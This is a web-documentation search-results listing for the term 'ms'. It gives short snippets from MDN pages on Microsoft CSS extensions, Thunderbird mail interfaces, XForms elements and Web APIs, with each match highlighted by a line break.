... decimalpoint this attribute is specifying the character for the alignment point within <
mstack> and <mtable> columns, if the decimalpoint value is used to specify the alignment.
... the <
mstyle> element accepts all attributes of all presentation elements with the following exceptions: height, depth or width do not apply to <mglyph>, <mpadded> or <mtable>.
...And 6 more matches
-ms-content-zoom-limit - Archive of obsolete content
the -
ms-content-zoom-limit css shorthand property is a microsoft extension that specifies values for the -
ms-content-zoom-limit-min and -
ms-content-zoom-limit-max properties.
... initial valueas each of the properties of the shorthand:-
ms-content-zoom-limit-max: 400%-
ms-content-zoom-limit-min: 100%applies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednopercentagesas each of the properties of the shorthand:-
ms-content-zoom-limit-max: the largest allowed zoom factor.
...smaller values zoom out.-
ms-content-zoom-limit-min: the smallest allowed zoom factor.
...And 5 more matches
-ms-scroll-limit - Archive of obsolete content
the -
ms-scroll-limit css property is a microsoft extension that specifies values for the -
ms-scroll-limit-x-min, -
ms-scroll-limit-y-min, -
ms-scroll-limit-x-max, and -
ms-scroll-limit-y-max properties.
... initial valueas each of the properties of the shorthand:-
ms-scroll-limit-x-min: 0-
ms-scroll-limit-y-min: 0-
ms-scroll-limit-x-max: auto-
ms-scroll-limit-y-max: autoapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas each of the properties of the shorthand:-
ms-scroll-limit-x-min: as specified-
ms-scroll-limit-y-min: as specified-
ms-scroll-limit-x-max: as specified-
ms-scroll-limit-y-max: as specifiedanimation typediscrete syntax the -
ms-scroll-limit property is specified as one or more of the following scroll limit values, in the order listed, separated by spaces.
... values -
ms-scroll-limit-x-min the value of the -
ms-scroll-limit-x-min property.
...And 5 more matches
XForms Select Element - Archive of obsolete content
introduction allows the user to choose one or more selections from a list of pre-defined ite
ms (see the spec).
... the list of pre-defined ite
ms can be specified by either item (see the spec) or ite
mset (see the spec) elements.
... you can visually group these pre-defined ite
ms by using the choices (see the spec) element to contain them.
...And 5 more matches
mozIStorageBindingParamsArray
the mozistoragebindingpara
msarray interface is a container for mozistoragebindingpara
ms objects, and is used to store sets of bound parameters that will be used by the mozistoragestatement.executeasync().
... storage/public/mozistoragebindingpara
msarray.idlscriptable please add a summary to this article.
... last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsisupports you can only create these objects by calling the mozistoragestatement.newbindingpara
msarray().
...And 5 more matches
nsIDOMStorage2
the nsido
mstorage2 interface represents the storage space used for local storage in the dom.
... ite
ms stored in local storage may only be accessed by the same origin that created the ite
ms in the first place.
... dom/public/idl/storage/nsido
mstorage2.idlscriptable please add a summary to this article.
...And 5 more matches
nsIMsgSearchCustomTerm
defined in comm-central/ mailnews/ base/ search/ public/ nsi
msgsearchcustomterm.idl attributes id /** * globally unique string to identify this search term.
... * recommended form: extensionname@example.com#termname * commas and quotes are not allowed, the id must not * parse to an integer, and names of standard search * attributes in searchattribentrytable in ns
msgsearchterm.cpp * are not allowed.
... * * @param scope search scope (ns
msgsearchscope) * @param op search operator (ns
msgsearchop).
...And 5 more matches
nsIXFormsModelElement
extensions/xfor
ms/nsixfor
msmodelelement.idlscriptable defines scriptable methods for manipulating instance data and updating computed and displayed values.
... 1.0 66 introduced gecko 1.8 obsolete gecko 1.9.1 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview nsidomdocument getinstancedocument(in do
mstring instanceid); void rebuild(); void recalculate(); void refresh(); void revalidate(); methods getinstancedocument() nsidomdocument getinstancedocument( in do
mstring instanceid ); parameters instanceid the id of the instance element to be returned.
... rebuild() signals the xfor
ms processor to rebuild any internal data structures used to track computational dependencies within the given xfor
ms model.
...And 5 more matches
Document.forms - Web APIs
the for
ms read-only property of the document interface returns an htmlcollection listing all the <form> elements contained in the document.
... syntax collection = document.for
ms; value an htmlcollection object listing all of the document's for
ms.
... if the document has no for
ms, the returned collection is empty, with a length of zero.
...And 5 more matches
FileSystemSync - Web APIs
in the file system api, a filesyste
msync object represents a file system.
... basic concepts the filesyste
msync object is your gateway to the entire api and you will use it a lot.
... attributes attribute type description name readonly do
mstring name of the file system.
...And 5 more matches
Using writable streams - Web APIs
this article explains the strea
ms api’s writable stream functionality.
... note: this article assumes that you understand the use cases of writable strea
ms, and are aware of the high-level concepts.
... if not, we suggest that you first read the strea
ms concepts and usage overview and dedicated strea
ms api concepts article, then come back.
...And 5 more matches
Using CSS transforms - CSS: Cascading Style Sheets
by modifying the coordinate space, css transfor
ms change the shape and position of the affected content without disrupting the normal document flow.
... this guide provides an introduction to using transfor
ms.
... css transfor
ms are implemented using a set of css properties that let you apply affine linear transformations to html elements.
...And 5 more matches
String.prototype.trimStart() - JavaScript
the tri
mstart() method removes whitespace from the beginning of a string.
... syntax str.tri
mstart(); str.trimleft(); return value a new string representing the calling string stripped of whitespace from its beginning (left end).
... description the tri
mstart() / trimleft() methods return the string stripped of whitespace from its left end.
...And 5 more matches
-ms-content-zoom-snap-points - Archive of obsolete content
the -
ms-content-zoom-snap-points css property is a microsoft extension that specifies where zoom snap-points are located.
... if any value specified is less than that specified by the -
ms-content-zoom-limit-min property, the value of -
ms-content-zoom-limit-min is used.
... if any value specified is greater than that specified by the -
ms-content-zoom-limit-max property, the value of -
ms-content-zoom-limit-max is used.
...And 4 more matches
Debug.msTraceAsyncCallbackCompleted - Archive of obsolete content
the debug.
mstraceasynccallbackcompleted function indicates that an asynchronous operation has completed.
... syntax debug.
mstraceasynccallbackcompleted() parameters asyncoperationid the id associated with the asynchronous operation.
...if not specified, debug.
ms_async_op_status_success is used.
...And 4 more matches
XForms Input Element - Archive of obsolete content
introduction this element is an important and oft-used xfor
ms element to show and change the instance data to which this xfor
ms control is bound (see the spec).
... attributes ui common appearance - the value of this attribute gives a hint to the xfor
ms processor as to which type of widget(s) to use to represent this control accesskey - used to specify the keyboard shortcut for focusing this control single-node binding special inputmode - not supported for this control incremental - supported.
...representations the xfor
ms input element can be represented by the following widgets for the spcified data types (or types derived from these data types): text field - the default widget when no type is specified or the data is of type xsd:string (xhtml/xul) checkbox - used for xsd:boolean instance data.
...And 4 more matches
Implementing game control mechanisms - Game development
one of html5's main advantages as a game development platform is the ability to run on various platfor
ms and devices.
...in this series of articles we will show you how you can approach building a game that can be played using touchscreen smartphones, mouse and keyboard, and also less common mechanis
ms such as gamepads.
... in the following articles we will show how to implement various different control mechanis
ms for captain rogers to support different platfor
ms — from touch on mobile, through keyboard/mouse/gamepad on desktop, to more unconventional ones like tv remote, shouting to or waving your hand in front of the laptop, or squeezing bananas.
...And 4 more matches
nsIMsgCustomColumnHandler
the nsi
msgcustomcolumnhandler interface allows you to create custom handlers for columns.
... mailnews/base/public/nsi
msgcustomcolumnhandler.idlscriptable please add a summary to this article.
...you must implement: nsitreeview.iseditable() nsitreeview.getcellproperties() nsitreeview.getimagesrc() nsitreeview.getcelltext() nsitreeview.cyclecell() nsi
msgcustomcolumnhandler.getsortstringforrow() nsi
msgcustomcolumnhandler.getsortlongforrow() nsi
msgcustomcolumnhandler.isstring() and optionally: nsitreeview.getrowproperties() from c++ you must implement all of nsitreeview and nsi
msgcustomcolumnhandler.
...And 4 more matches
nsIMsgSearchTerm
defined in mozilla/ mailnews/ base/ search/ public/ nsi
msgsearchterm.idl attributes attrib attribute ns
msgsearchattribvalue attrib; op attribute ns
msgsearchopvalue op; value attribute nsi
msgsearchvalue value; booleanand attribute boolean booleanand; arbitraryheader attribute acstring arbitraryheader; hdrproperty /** * not to be confused with arbitraryheader, which is a header in the * rfc822 message.
... this is a property of the nsi
msgdbhdr, and may have * nothing to do the message headers, e.g., gloda-id.
... * value.str will be compared with nsi
msghdr::getproperty(hdrproperty).
...And 4 more matches
nsIMsgSendLater
the nsi
msgsendlater interface provides functions for managing the unsent folder of a messaging account.
...to create an instance, use var
msgsendlater = components.classes["@mozilla.org/messengercompose/sendlater;1"] .getservice(components.interfaces.nsi
msgsendlater); method overview void sendunsentmessages(in nsi
msgidentity identity); void removelistener(in nsi
msgsendlaterlistener listener); void addlistener(in nsi
msgsendlaterlistener listener); nsi
msgfolder getunsentmessagesfolder](in nsi
msgidentity identity); attributes attribute type description
msgwindow nsi
msgwindow methods sendunsentmessages() sends all unsent messages for an identity.
... void sendunsentmessages(in nsi
msgidentity identity) parameters identity the nsi
msgidentity to send unsent messages for removelistener() remove an event listener from this nsisend
msglater instance void removelistener(in nsi
msgsendlaterlistener listener); parameters listener the nsi
msgsendlaterlistener to remove.
...And 4 more matches
nsISmsDatabaseService
nsis
msdatabaseservice dom/s
ms/interfaces/nsis
msdatabaseservice.idlscriptable used to store and manage s
ms text messages for the webs
ms api 1.0 66 introduced gecko 13.0 inherits from: nsisupports last changed in gecko 15.0 (firefox 15.0 / thunderbird 15.0 / seamonkey 2.12) implemented by: @mozilla.org/s
ms/s
msdatabaseservice;1.
... to create an instance, use: var s
msservice = components.classes["@mozilla.org/s
ms/s
msdatabaseservice;1"] .createinstance(components.interfaces.nsis
msdatabaseservice); method overview long savereceivedmessage(in do
mstring asender, in do
mstring abody, in unsigned long long adate); long savesentmessage(in do
mstring areceiver, in do
mstring abody, in unsigned long long adate); void getmessage(in long messageid, in long requestid, [optional] in unsigned long long processid); void deletemessage(in long messageid, in long requestid, [optional] in unsigned long long processid); void createmessagelist(in nsidommozs
msfilter filter, in boolean reverse, in long requestid, [optional] in unsigned long long processid); void getnextmessageinlist(in long listid, in long request...
...id, [optional] in unsigned long long processid); void clearmessagelist(in long listid); void markmessageread(in long messageid, in boolean value, in long requestid, [optional] in unsigned long long processid) methods savereceivedmessage() void savereceivedmessage( in do
mstring asender, in do
mstring abody, in unsigned long long adate ); parameters asender a do
mstring with the sender of the text message.
...And 4 more matches
nsMsgViewCommandType
the ns
msgviewcommandtype interface contains constants used for commands in thunderbird.
... for example to mark a message read, you would call: // assuming gdbview is a global nsi
msgdbview gdbview.docommand(components.interfaces.ns
msgviewcommandtype.markmessagesread); mailnews/base/public/nsi
msgdbview.idlscriptable please add a summary to this article.
... delete
msg 7 move the selected message to the accounts trash.
...And 4 more matches
Element.msZoomTo() - Web APIs
the
mszoomto method scrolls and/or zoo
ms an element to its specified coordinate with animation.
... zoomed elements can expose their zoom level through
mscontentzoom (ie.
...the zoom level can be reset with
mszoomto.
...And 4 more matches
Navigator.msLaunchUri() - Web APIs
the
mslaunchuri() method is a microsoft extension to the navigator interface, which starts a service or app, such as an email client, that handles a given protocol.
... syntax navigator.
mslaunchuri(uri, successcallback, nohandlercallback); parameters uri a do
mstring specifying the url containing including the protocol of the document or resource to be displayed.
... successcallbackoptional a function matching the signature of
mslaunchuricallback to be executed if the protocol handler is present.
...And 4 more matches
WebAssembly.Module.customSections() - JavaScript
the webassembly.custo
msections() function returns a copy of the contents of all custom sections in the given module with the given string name.
... syntax webassembly.module.custo
msections(module, sectionname); parameters module the webassembly.module object whose custom sections are being considered.
...the wast2wasm command available as part of the wabt tool has a --debug-names option — specify this during conversion to get a .wasm with a names custom section, for example: wast2wasm simple-name-section.was -o simple-name-section.wasm --debug-names examples using custo
msections the following example (see the custom-section.html source and live example) compiles the loaded simple-name-section.wasm byte code.
...And 4 more matches
-ms-accelerator - Archive of obsolete content
the -
ms-accelerator css property is a microsoft extension that sets or retrieves a string indicating whether the object represents a keyboard shortcut.
... initial valuefalseapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete syntax /* the object is not a keyboard shortcut (the default) */ -
ms-accelerator: false /* the object is a keyboard shortcut */ -
ms-accelerator: true values false the object is not a keyboard shortcut.
... formal syntax false | true examples this example uses the -
ms-accelerator attribute in a <u> element to specify that the "n" in the <label> element is a keyboard shortcut.
...And 3 more matches
-ms-content-zoom-snap - Archive of obsolete content
the -
ms-content-zoom-snap css shorthand property is a microsoft extension that specifies values for the -
ms-content-zoom-snap-type and -
ms-content-zoom-snap-points properties.
... initial valueas each of the properties of the shorthand:-
ms-content-zoom-snap-type: none-
ms-content-zoom-snap-points: snapinterval(0%, 100%)applies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas each of the properties of the shorthand:-
ms-content-zoom-snap-type: as specified-
ms-content-zoom-snap-points: as specifiedanimation typediscrete syntax the -
ms-content-zoom-snap shorthand property is specified as one or both of the following content zoom snap values, in order, separated by spaces.
... values -
ms-content-zoom-snap-type value of the -
ms-content-zoom-snap-type property.
...And 3 more matches
-ms-scroll-chaining - Archive of obsolete content
the -
ms-scroll-chaining css property is a microsoft extension that specifies the scrolling behavior that occurs when a user hits the scroll limit during a manipulation.
... formal syntax chained | none examples the following example illustrates the -
ms-scroll-chaining property in use.
... in this case the image container has its -
ms-scroll-chaining property set to chained, which means that when a user is scrolling through a nested scrollable element and it hits its boundary the parent scrollable element will begin to scroll in the same direction.
...And 3 more matches
-ms-scroll-snap-x - Archive of obsolete content
the -
ms-scroll-snap-x css shorthand property is a microsoft extension that specifies values for the -
ms-scroll-snap-type and -
ms-scroll-snap-points-x properties.
... initial valueas each of the properties of the shorthand:-
ms-scroll-snap-type: none-
ms-scroll-snap-points-x: snapinterval(0px, 100%)applies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas each of the properties of the shorthand:-
ms-scroll-snap-type: as specified-
ms-scroll-snap-points-x: as specifiedanimation typediscrete syntax values the -
ms-scroll-snap-x shorthand property is specified as one or both of the following values, in order and separated by spaces.
... -
ms-scroll-snap-type the value of the -
ms-scroll-snap-type property.
...And 3 more matches
-ms-scroll-snap-y - Archive of obsolete content
the -
ms-scroll-snap-x css shorthand property is a microsoft extension that specifies values for the -
ms-scroll-snap-type and -
ms-scroll-snap-points-y properties.
... initial valueas each of the properties of the shorthand:-
ms-scroll-snap-type: none-
ms-scroll-snap-points-y: snapinterval(0px, 100%)applies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas each of the properties of the shorthand:-
ms-scroll-snap-type: as specified-
ms-scroll-snap-points-y: as specifiedanimation typediscrete syntax values the -
ms-scroll-snap-y shorthand property is specified as one or both of the following values, in order and separated by spaces.
... -
ms-scroll-snap-type the value of the -
ms-scroll-snap-type property.
...And 3 more matches
::-ms-fill - Archive of obsolete content
the ::-
ms-fill css pseudo-element is a microsoft extension that represents a progress bar displayed by <progress>.
...by setting animation-name on ::-
ms-fill, you can change the animation, as shown in this table: value description none turns off the animation so that no dots are displayed.
... -
ms-bar shows animated dots that flow in a bar pattern.
...And 3 more matches
Debug.msTraceAsyncCallbackStarting - Archive of obsolete content
the debug.
mstraceasynccallbackstarting function associates the callback stack with a previously specified asynchronous operation.
... syntax debug.
mstraceasynccallbackstarting(asyncoperationid) parameters asyncoperationid the id associated with the asynchronous operation.
... remarks call this function in the callback function for the asynchronous operation after the call to debug.
mstraceasyncoperationcompleted.
...And 3 more matches
XForms Styling - Archive of obsolete content
hopefully someone more proficient in mozilla xfor
ms and css can clean this up repeats see the mozilla xfor
ms specials page for some general points.
... triggers use appearance="minimal" to be able to style buttons portability the mozilla xfor
ms extension is one of the few xfor
ms processors which allow for styling of the xfor
ms elements directly, using mostly standard css.
... processors such as chiba create "old-style" html for
ms from xfor
ms documents, and must be styled accordingly.
...And 3 more matches
XForms Repeat Element - Archive of obsolete content
attributes ui common appearance - the value of this attribute gives a hint to the xfor
ms processor as to which type of widget(s) to use to represent this control.
... actions you can use xfor
ms action module elements to modify the nodeset that the repeat element is bound to.
...eset')" position="after"/> <setvalue ref="/my:lines/my:line[index('lineset')]/@name"/> <setvalue ref="/my:lines/my:line[index('lineset')]/price">0.00</setvalue> </action> </trigger> <trigger> <label>remove current item</label> <delete ev:event="domactivate" nodeset="/my:lines/my:line" at="index('lineset')"/> </trigger> attribute based repeat when using xfor
ms within host languages like xhtml, it is often necessary to create repeating structures within constructs such as html:table.
...And 3 more matches
XForms Select1 Element - Archive of obsolete content
the list of pre-defined ite
ms can be specified by either item (see the spec) or ite
mset (see the spec) elements.
... you can visually group these pre-defined ite
ms by using the choices (see the spec) element to contain them.
... attributes ui common appearance - the value of this attribute gives a hint to the xfor
ms processor as to which type of widget(s) to use to represent this control.
...And 3 more matches
Solve common problems in your JavaScript code - Learn web development
the following links point to solutions to common proble
ms you may encounter when writing javascript.
... some common built-in browser functions that cause proble
ms are: correct wrong getelementsbytagname() getelementbytagname() getelementsbyname() getelementbyname() getelementsbyclassname() getelementbyclassname() getelementbyid() getelementsbyid() semi-colon position you need to make sure you don't place any semi-colons incorrectly.
... how do you access and modify the ite
ms in an array?
...And 3 more matches
nsIMsgFilterList
defined in comm-central/ mailnews/ base/ search/ public/ nsi
msgfilterlist.idl attributes folder attribute nsi
msgfolder nsi
msgfilterlist::folder version readonly attribute short nsi
msgfilterlist::version arbitraryheaders readonly attribute acstring nsi
msgfilterlist::arbitraryheaders shoulddownloadallheaders readonly attribute boolean nsi
msgfilterlist::shoulddownloadallheaders filtercount readonly attribute unsigned long nsi
msgfilterlist::filtercount loggingenabled attribute boolean nsi
msgfilterlist::loggingenabled defaultfile attribute nsilocalfile nsi
msgfilterlist::defaultfile logstream attribute nsioutputstream nsi
msgfilterlist::logstream logurl readonly attribute acstring nsi
msgfilterlist::logurl methods getfilterat() nsi
msgfilter nsi
msgfilterlist::getfilterat (in unsign...
...ed long filterindex ) getfilternamed() nsi
msgfilter nsi
msgfilterlist::getfilternamed (in astring filtername) setfilterat() nsi
msgfilter nsi
msgfilterlist::setfilterat ( in unsigned long filterindex, in nsi
msgfilter filter ) removefilter() void nsi
msgfilterlist::removefilter (in nsi
msgfilter filter) removefilterat() void nsi
msgfilterlist::removefilterat (in unsigned long filterindex) movefilterat() void nsi
msgfilterlist::movefilterat ( in unsigned long filterindex, in ns
msgfiltermotionvalue motion ) insertfilterat() void nsi
msgfilterlist::insertfilterat ( in unsigned long filterindex, in nsi
msgfilter filter ) movefilter() void nsi
msgfilterlist::movefilter ( in nsi
msgfilter filter, in n...
...s
msgfiltermotionvalue motion ) createfilter() nsi
msgfilter nsi
msgfilterlist::createfilter ( in astring name ) savetofile() void nsi
msgfilterlist::savetofile ( in nsioutputstream stream ) parsecondition() void nsi
msgfilterlist::parsecondition ( in nsi
msgfilter afilter, in string condition ) savetodefaultfile() void nsi
msgfilterlist::savetodefaultfile ( ) applyfilterstohdr() void nsi
msgfilterlist::applyfilterstohdr ( in ns
msgfiltertypetype filtertype, in nsi
msgdbhdr
msghdr, in nsi
msgfolder folder, in nsi
msgdatabase db, in string headers, in unsigned long headersize, in nsi
msgfilterhitnotify listener, in nsi
msgwindow
msgwindow, in nsilocalfile amessagef...
...And 3 more matches
nsMsgSearchAttrib
defined in comm-central/ mailnews/ base/ search/ public/ ns
msgsearchcore.idl typedef long ns
msgsearchattribvalue; /** * definitions of search attribute types.
... */ [scriptable, uuid(a83ca7e8-4591-4111-8fb8-fd76ac73c866)] interface ns
msgsearchattrib { const ns
msgsearchattribvalue custom = -2; /* a custom term, see nsi
msgsearchcustomterm */ const ns
msgsearchattribvalue default = -1; const ns
msgsearchattribvalue subject = 0; /* mail and news */ const ns
msgsearchattribvalue sender = 1; const ns
msgsearchattribvalue body = 2; const ns
msgsearchattribvalue date = 3; const ns
msgsearchattribvalue priority = 4; /* mail only */ const ns
msgsearchattribvalue
msgstatus = 5; const ns
msgsearchattribvalue to = 6; const ns
msgsearchattribvalue cc = 7; const ns
msgsearchattribvalue toorcc = 8;...
... const ns
msgsearchattribvalue alladdresses = 9; const ns
msgsearchattribvalue location = 10; /* result list only */ const ns
msgsearchattribvalue messagekey = 11; /* message result ele
ms */ const ns
msgsearchattribvalue ageindays = 12; const ns
msgsearchattribvalue folderinfo = 13; /* for "view thread context" from result */ const ns
msgsearchattribvalue size = 14; const ns
msgsearchattribvalue anytext = 15; const ns
msgsearchattribvalue keywords = 16; // keywords are the internal representation of tags.
...And 3 more matches
HTMLVideoElement.msZoom - Web APIs
mszoom is a read/write property which gets or sets whether the video frame is trimmed, on the top and bottom or left and right, to fit the video display.
... syntax htmlvideoelement.
mszoom; value boolean value set to true tri
ms the video frame to the display space.
... when the
mszoom attribute is set to true, the rendered video is trimmed to fit the dimensions of the video object.
...And 3 more matches
RTCOutboundRtpStreamStats.pliCount - Web APIs
the plicount property of the rtcoutboundrtpstrea
mstats dictionary states the number of times the remote peer's rtcrtpreceiver sent a picture loss indication (pli) packet to the rtcrtpsender for which this object provides statistics.
... syntax var plicount = rtcoutboundrtpstrea
mstats.plicount; value an integer value indicating the number of times a pli packet was sent to this sender by the remote peer's rtcrtpreceiver.
... note: this property is only used for video strea
ms.
...And 3 more matches
RTCRemoteOutboundRtpStreamStats - Web APIs
the webrtc statistics model's rtcremoteoutboundrtpstrea
mstats dictionary extends the underlying rtcsentrtpstrea
mstats dictionary with properties measuring metrics specific to outgoing rtp strea
ms.
... properties in addition to the properties defined by rtcsentrtpstrea
mstats and its underlying rtcrtpstrea
mstats and rtcstats dictionaries, rtcremoteoutboundrtpstrea
mstats defines the following properties.
... localid a do
mstring which is used to find the local rtcinboundrtpstrea
mstats object which shares the same synchronization source (ssrc).
...And 3 more matches
RTCRtpStreamStats.qpSum - Web APIs
the qpsum property of the rtcrtpstrea
mstats dictionary is a value generated by adding the quantization parameter (qp) values for every frame sent or received to date on the video track corresponding to this rtcrtpstrea
mstats object.
... syntax var qpsum = rtcrtpstrea
mstats.qpsum; value an unsigned 64-bit integer value which indicates the sum of the quantization parameter (qp) value for every frame sent or received so far on the track described by the rtcrtpstrea
mstats object.
...you can, for example, use the value of rtcreceivedrtpstrea
mstats.framesdecoded if receiving the media or rtcsentrtpstrea
mstats.framesencoded if sending it to get the number of frames handled so far, and compute an average from there.
...And 3 more matches
-ms-high-contrast - CSS: Cascading Style Sheets
the -
ms-high-contrast css media feature is a microsoft extension that describes whether the application is being displayed in high contrast mode, and with what color variation.
... syntax the -
ms-high-contrast media feature is specified as one of the following values.
... @media screen and (-
ms-high-contrast: active) { /* all high contrast styling rules */ } @media screen and (-
ms-high-contrast: black-on-white) { div { background-image: url('image-bw.png'); } } @media screen and (-
ms-high-contrast: white-on-black) { div { background-image: url('image-wb.png'); } } accessibility concerns theming high contrast mode's theme colors come from a limited subset of deprecated css2 syst...
...And 3 more matches
Porting NSPR to Unix Platforms - Archive of obsolete content
last modified 16 july 1998 <<< under construction >>> unix platfor
ms are probably the easiest platfor
ms to port netscape portable runtime (nspr) to.
...for certain more "standard" unix platfor
ms, this may be all you have to do.
... on other platfor
ms, you may need to do extra work to deal with their idiosyncrasies.
...And 2 more matches
-ms-scroll-snap-points-x - Archive of obsolete content
the -
ms-scroll-snap-points-x css property is a microsoft extension that specifies where snap-points will be located along the x-axis.
... if any value is less than -
ms-scroll-limit-x-min , then -
ms-scroll-limit-x-min is used.
... if any value is greater than -
ms-scroll-limit-x-max, then -
ms-scroll-limit-x-max is used.
...And 2 more matches
-ms-scroll-snap-points-y - Archive of obsolete content
the -
ms-scroll-snap-points-y css property is a microsoft extension that specifies where snap-points will be located along the y-axis.
... if any value is less than -
ms-scroll-limit-y-min , then -
ms-scroll-limit-y-min is used.
... if any value is greater than -
ms-scroll-limit-y-max, then -
ms-scroll-limit-y-max is used.
...And 2 more matches
::-ms-check - Archive of obsolete content
the ::-
ms-check css pseudo-element is a microsoft extension that represents checkboxes and radio button groups created by <input type="checkbox"> and <input type="radio">.
... allowable properties only the following css properties can be used in a rule with ::-
ms-check in its selector.
... -
ms-background-position-x -
ms-background-position-y -
ms-high-contrast-adjust background-clip background-color background-image background-origin background-repeat background-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-radius border-top-style border-top-width box-shadow box-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top opacity outline-color outline-style outline...
...And 2 more matches
::-ms-track - Archive of obsolete content
the ::-
ms-track css pseudo-element is a microsoft extension that represents the track of a slider control.
... applying the color property within the ::-
ms-track selector affects the tick marks inside the track area.
... it is possible to use the ::-
ms-ticks-after, ::-
ms-ticks-before, and ::-
ms-track pseudo-elements together.
...And 2 more matches
Developing Mozilla XForms - Archive of obsolete content
debugging always start with a debug build of the xfor
ms and the schema-validation extensions.
... see building mozilla xfor
ms for a .mozconfig for debug builds.
...then start firefox out of the build directory: cd obj-*/dist/firefox ./firefox -no-remote -jsconsole -p yourprofilename the xfor
ms extension that was built together with firefox should be already installed.
...And 2 more matches
Flexbox - MDN Web Docs Glossary: Definitions of Web-related terms
flexbox is the commonly-used name for the css flexible box layout module, a layout model for displaying ite
ms in a single dimension — as a row or as a column.
...the key feature of flexbox is the fact that ite
ms in a flex layout can grow and shrink.
... space can be assigned to the ite
ms the
mselves, or distributed between or around the ite
ms.
...And 2 more matches
XInclude - MDN Web Docs Glossary: Definitions of Web-related terms
firefox does not support it natively, but the following function ai
ms to allow its use with documents passed into it.
... code sample the following code ai
ms to let <xi:include> and <xi:fallback> tags (the two elements in the language) with all of the attributes of <xi:include> be included in an xml document so as to be resolvable into a single xml document.
... (note that this has not been thoroughly tested for all circu
mstances and may not necessarily reflect the standard behavior completely.) note also that if you wish to allow xml:base, you will need the xml:base function, and the line beginning var href = ...
...And 2 more matches
nsIDOMSimpleGestureEvent
dom/interfaces/events/nsido
msimplegestureevent.idlscriptable this interface describes a mouse or trackpad gesture event.
... 1.0 66 introduced gecko 1.9.1 inherits from: nsidommouseevent last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) the nsido
msimplegestureevent interface is the datatype for all mozilla-specific simple gesture events in the document object model.
...(xxx not implemented on mac) default behavior: some operating syste
ms support default behaviors for gesture events when they are not handled by the application.
...And 2 more matches
nsIDOMStorageEventObsolete
dom/interfaces/storage/nsido
mstorageeventobsolete.idlscriptable this interface represents an event that occurs to notify interested parties about changes to the contents of a dom storage space; it is used for both session storage and local storage.
...you should use the nsido
mstorageevent interface instead.
... method overview void initstorageevent(in do
mstring typearg, in boolean canbubblearg, in boolean cancelablearg, in do
mstring keyarg, in do
mstring oldvaluearg, in do
mstring newvaluearg, in do
mstring urlarg, in nsido
mstorage storageareaarg); attributes attribute type description domain do
mstring the domain of the storage area which changed, or "#session" if the event represents a change to session storage.
...And 2 more matches
nsIDOMStorageItem
dom/interfaces/storage/nsido
mstorageitem.idlscriptable this interface represents an object in dom storage.
...note: all ite
ms, regardless of whether they were stored for an http page or an https page, are visible from https pages.
... however, http pages can only see ite
ms stored from http pages, and will not see ite
ms stored from https pages.
...And 2 more matches
nsIMsgAccount
nsi
msgaccount mailnews/base/public/nsi
msgaccount.idlscriptable an account consists of an incoming server and one or more outgoing identities.
... inherits from: nsisupports last changed in gecko 1.7 method overview void addidentity(in nsi
msgidentity identity); void clearallvalues(); void init(); void removeidentity(in nsi
msgidentity identity); astring tostring(); attributes attribute type description defaultidentity nsi
msgidentity identities nsisupportsarray read only.
... outgoing identity list (array of nsi
msgidentity's) incomingserver nsi
msgincomingserver incoming server stuff key acstring internal key identifying itself methods addidentity() adds a new identity to this account.
...And 2 more matches
nsIMsgAccountManagerExtension
the nsi
msgaccountmanagerextension interface is used to add a new panel to thunderbird's account manager.
... //github.com/realityripple/uxp/blob/master/mailnews/base/public/nsi
msgaccountmanager.idlscriptable please add a summary to this article.
... inherits from: nsisupports method overview boolean showpanel(in nsi
msgincomingserver server); attributes attribute type description name acstring name of the account manager extension.
...And 2 more matches
nsIMsgFilter
defined in comm-central/ mailnews/ base/ search/ public/ nsi
msgfilter.idl attributes type attribute ns
msgruleactiontype type; priority // target priority..
... throws an exception if the action is not priority attribute ns
msgpriorityvalue priority; targetfolderuri // target folder..
...throws an exception if the action is not label attribute ns
msglabelvalue label; junkscore attribute long junkscore; strvalue attribute autf8string strvalue; customid // action id if type is custom attribute acstring customid; customaction // custom action associated with customid // (which must be set prior to reading this attribute) readonly attribute nsi
msgfiltercustomaction customaction; methods addterm() void nsi
msgfilter::addterm ( in ns
msgsearchattribvalue attrib, in ns
msgsearchopvalue op, in nsi
msgsearchvalue value, in boolean booleanand, in acstring arbitraryheader ) getterm() vo...
...And 2 more matches
nsIMsgFilterCustomAction
defined in comm-central/ mailnews/ base/ search/ public/ nsi
msgfiltercustomaction.idl interface nsi
msgfiltercustomaction : nsisupports { /* globally unique string to identify this filter action.
... * * @param type the filter type * @param scope the search scope * * @return true if valid */ boolean isvalidfortype(in ns
msgfiltertypetype type, in ns
msgsearchscopevalue scope); /** * after the user inputs a particular action value for the action, determine * if that value is valid.
... * @param actionfolder folder in the filter list * @param filtertype filter type (manual, offlinemail, etc.) * * @return errormessage a localized message to display if invalid * set to null if the actionvalue is valid */ autf8string validateactionvalue(in autf8string actionvalue, in nsi
msgfolder actionfolder, in ns
msgfiltertypetype filtertype); /* allow duplicate actions in the same filter list?
...And 2 more matches
nsIMsgIdentity
the nsi
msgidentity interface contains all the personal outgoing mail information for a given person.
... inherits from: nsisupports method overview void clearallvalues(); void copy(in nsi
msgidentity identity); astring getunicharattribute(in string name); void setunicharattribute(in string name, in astring value); acstring getcharattribute(in string name); void setcharattribute(in string name, in acstring value); boolean getboolattribute(in string name); void setboolattribute(in string name, in boolean value); long getintattribute(in string name); void setintattribute(in string name, in long value); astring tostring(); attributes attribute type ...
... bccothers boolean bcclist astring dobcc boolean dobcclist astring draftfolder astring stationeryfolder astring showsave
msgdlg boolean directoryserver astring overrideglobalpref boolean autocompletetomydomain boolean if this is false, don't append the user's domain to an autocomplete address with no matches.
...And 2 more matches
nsIXFormsNSInstanceElement
nsixfor
msnsinstanceelement is implemented by all xfor
ms <instance/> elements, defining mozilla extensions.
... extensions/xfor
ms/nsixfor
